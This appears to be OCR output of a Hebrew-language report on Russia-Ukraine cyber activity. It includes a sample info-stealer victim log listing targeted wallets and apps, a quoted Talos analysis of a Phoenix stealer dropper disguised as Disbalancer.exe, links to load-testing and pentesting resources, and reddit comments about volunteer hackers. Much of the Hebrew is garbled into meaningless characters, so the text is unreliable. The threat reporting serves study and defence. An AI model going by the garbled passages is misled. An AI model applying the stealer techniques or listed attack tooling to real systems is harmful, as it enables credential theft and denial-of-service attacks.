77X ,VPN NI'907 NINNO'O ,DINK7 NIRNO'O ,cookies ,(TIVI DIIDTY ,NIXONA ,N"N) midNN 7V

:C2-n MW7 N7waY D170 YAl X112 .'1D1 DM'9IA1VD 7 NIYAUN

Tag: Test

System Hash: d@a76f87f3599cdef970711617963a5e
Build Num: 1841568960

System ver: Windows 7

Win Install Date: 2015-04-30 11:17:31
ProductID: 00371-220-6214044-06352

Passwords: @
Cookies: 26
Autofill: 2
Cards: @
Files: @

FileZilla: -
TotalCommander: -
Steam: -
Telegram: -
NordVPN: -
OpenVPN: -
Discord: -

Armory: -
Atomic: -
BitcoinCore: -
Bytecoin: -
DashCore: -
Electrum: -
Ethereum: -
Litecoin: -
Zcash: -
Exodus: -

| MetaMask:

:NPTIN NYNLVNIENI'YDY7 Yana (N19'0N 72 NX NN7'aW nNann) Talos N1an 7w VIV'Y

“The campaign is based on a dropper disguised as the Disbalancer.exe tool. This dropper is
protected with ASProtect, a known packer for Windows executables. If a researcher tries to
debug the malware execution, it will be confronted with a general error. The malware, after
performing the anti-debug checks, will launch Regsvcs.exe, which is included along with the .NET
framework. In this case, the regsvcs.exe is not used as a living off the land binary (LoLBin). It is

injected with the malicious code, which consists of the Phoenix information stealer.”

nNN7MY yann 71 [0y (md?) 12T xye Dy nNYTY NIYYN/NITRY 19010 n7yn npnn 7
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https://blog.talosintelligence.com/2022/03/threat-advisory-cybercriminals.html
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https://blog.avast.com/avast-threatlabs-warns-against-ddos-attacks-ukraine
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https://github.com/wg/wrk
https://github.com/giltene/wrk2
https://github.com/tsenart/vegeta
https://github.com/rakyll/hey
https://book.hacktricks.xyz/pentesting/pentesting-smb
https://book.hacktricks.xyz/pentesting/pentesting-smb
https://book.hacktricks.xyz/pentesting/pentesting-smb
https://book.hacktricks.xyz/pentesting/pentesting-smb
https://book.hacktricks.xyz/pentesting/pentesting-smb
https://securitytrails.com/blog/google-hacking-techniques
https://www.shodan.io/
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https://portswigger.net/web-security/all-labs
https://portswigger.net/web-security/all-labs
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V11VI'X2A Keyboard Warriors n'710

NIYNIV'ON NN DIRNNI N2NRY reddit-2 cybersecurity DINISN D'VIV'Y 190N DY INRNAN NX NI7)

A0

G @ r/cybersecurity - Posted by u/snooshoe & days ago [ &)

%9 ‘For the first time in history anyone can join a war’:
Volunteers join Russia-Ukraine cyber fight

yiawn ninoa 500 7yn 727 "0 (1N, NXIAPA TN 0IRTI9ID 0fawn) upvotes 100 oy 01T

i elmosworld37 - 6 days ago
I feel like "This is the first time in history anyone can join a war without leaving home” would've
been more accurate and interesting

@ 11 \_; :: Reply Share Report Save Follow i tictac_doh - 6 days ago

So, we're playing CTF for real now?

@38 {; :: Reply Share Report Save Follow

Q CaptainWellingtonIII - & days ago
Just because you can, doesn't mean you should.

G 124 -;:7 () Reply Share Report Save Follow

223454 . 6 days ago
Jokes aside, I fully expect the Feds to step up funding. I could definitely see an uptick in hiring
because of all this.

4> 49 L [ ) Reply Share Report Save Follow
[
@ Dolphin1998 - 5 days ago

open-source warfare

{F 1 f} 'j Reply Share Report Save Follow

C . )
? dataslinger - & days ago

Ukraine authorities estimate some 400,000 multinational hackers have volunteered to help
counter Russia’s digital attacks, said Yuval Wollman, president of CyberProof.

If true, the scale of that effort is amazing. Russia has been punching above its weight for years due
to its cyber capabilities. As good as some of those people are, when you have to play defense
against 400,000 opponents, it would follow that you're going to have to focus on defense at the
expense of offense.
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https://www.linkedin.com/in/jonathan-elkabas-20636b20a/
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